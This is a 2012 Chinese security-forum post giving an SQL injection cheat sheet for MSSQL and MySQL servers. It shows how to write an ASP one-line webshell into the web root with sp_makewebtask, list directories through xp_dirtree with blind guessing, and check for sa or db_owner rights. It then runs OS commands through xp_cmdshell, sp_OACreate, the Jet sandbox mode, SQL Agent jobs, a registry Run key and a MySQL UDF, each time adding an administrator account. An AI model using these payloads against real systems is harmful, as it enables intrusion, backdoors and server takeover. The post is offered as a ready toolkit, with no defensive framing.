找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2914|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MSSQL语句导出一句话木马  N- i# b7 f# v% F% A
首先确定网站的WEB路径
& W' a0 }9 I/ R2 b;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
( x, Q& L* z! v: [+ K; H* T# p4 B0 r5 J3 o" Q
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
3 }/ B9 C% ^8 H! |//将一句话木马插入表中
# F# D5 i) h  u4 q# g5 J$ O
, N5 J! f: h0 S4 i4 J! F9 g0 L;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
& ^/ y1 R9 A6 r//导出一个ASP文件
. ]; k" \! a. @# m) p& f7 ^8 j! l9 P1 Y# T3 V

  |% U6 u' i6 u, z4 [9 [3 }关于MSSQL列目录
/ z+ q, O5 v% |# |3 `;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
! [/ P. w0 I$ l# T3 bInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表! R8 ?) {5 o. Q! X3 Z  _' H+ k

) C1 D& j: p; A; x  u& u6 Kand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录1 n+ t0 c0 G- g

5 Q8 U1 b" Y: E4 I: |1 YAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段0 K2 J/ Q6 _* s) y# m0 f
% h0 \3 l2 V! Q  ^6 z0 ?2 F6 ]
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符1 a- K6 i) G. v% E/ K  i' A
, }( \3 H" u7 A0 v

5 E% P# ^5 r0 X: N数据库版本和权限查看
, G9 n" _2 v% |2 y# i# V- \1 ^and 1=(select @@VERSION) //查看详细的数据库信息.% i; U  ~4 |- s+ U, g
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA7 G* C) l4 n) w- O  V1 ?
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
1 g) l/ C* }) r5 Z1 G/ d! V
3 j/ j1 e5 K: ]9 `+ u8 H5 F
' z9 H5 q% E) N! ?5 m1.利用xp_cmdshell执行命令
! M+ u% F; c* J2 R5 _$ m: Cexec master..xp_cmdshell 'net user rfire 123456 /add'" c% y4 a& \5 E. S3 I
exec master..xp_cmdshell 'net localgroup administrators rfire /add'4 k* o5 l7 M& U; \

0 c6 ^7 y$ L6 M$ {0 ~0 c. z恢复xp_cmdshell存储过程
" s" ?7 g5 A) y. E0 cExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
  n4 g; t3 Z6 s6 l' l
5 ?# _/ n, |/ u% m) z
* `* D3 c$ e: c4 j3 y$ [- v2.利用SP_OAcreate和SP_OAMETHOD执行命令. F, _! F/ t$ o! j  f
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下1 n5 M. `9 A# ]! s1 H  f. w. D3 ^
DECLARE @shell INT //建立一个@shell实体
5 z% P0 i' E; c+ k2 X0 L! pEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例& a* j6 i+ l7 l/ }
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例  w' G/ p) U& Y1 g0 q4 W

8 [+ P/ G; L3 K' u( N3 c. v( F: w; l2 g1 D
3.利用沙盒模式+ C& x0 T" z) Q& b2 Q  M( V
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。. f4 _, i- H5 J
开启沙盒模式:; \% w6 Y9 M$ ^# H5 z# U
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
  A3 r3 h* f0 a  `6 I/ l( U* [5 P3 X0 t$ o/ [# r) G
执行命令:
+ e6 R, |9 U0 x# i' |5 PSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
4 y( m# G& U# ^. a! X; A( }! f" c, x% A( t; U4 a

4 M9 j* Y3 {9 |4.利用SQL代理执行命令  J: |: x! w1 o5 A
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
" {( t1 G  A  a6 `* A- {1 @8 O( F; _
执行命令:- q/ g/ O+ _$ R0 T8 [) u
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错, N8 s8 X6 _4 R' n. T6 w
exec sp_add_job 'x'
) Q9 c$ F. O: J5 _- kexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
0 d* w0 P' e6 iexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业  `% s# R; \- B

% b9 s4 Y& P$ J- h& ^$ r% P" c
- o+ v9 ^3 }/ B4 T4 m) s2 i: [5 o5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)0 G9 w$ {. m& J
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
! T* N) X1 p- W# u$ u
3 Y* p: n- ^; m5 m- U! J  g1 U/ L! W1 Q. v( {( {
6.MYSQL的命令执行
5 _: e7 p1 U( F: S+ @' @MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
7 m5 l4 l) k) Z) J) ^首先要在su.php下导出c:\windows\udf.dll2 @" ~/ d: A% p  s  ?
导出后执行创建自定义函数命令:
& t0 n6 H* f2 @/ H) P- xCreate Function cmdshell returns string soname 'udf.dll'
+ K9 k: }1 F; W. q8 B执行命令6 x% c  l6 `. _: B7 S- U' L
select cmdshell('net user rfire 123456 /add')5 a6 q2 X* Z* f+ D6 e
执行后删除函数 drop function cmdshell
+ z4 W2 S1 M5 W4 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表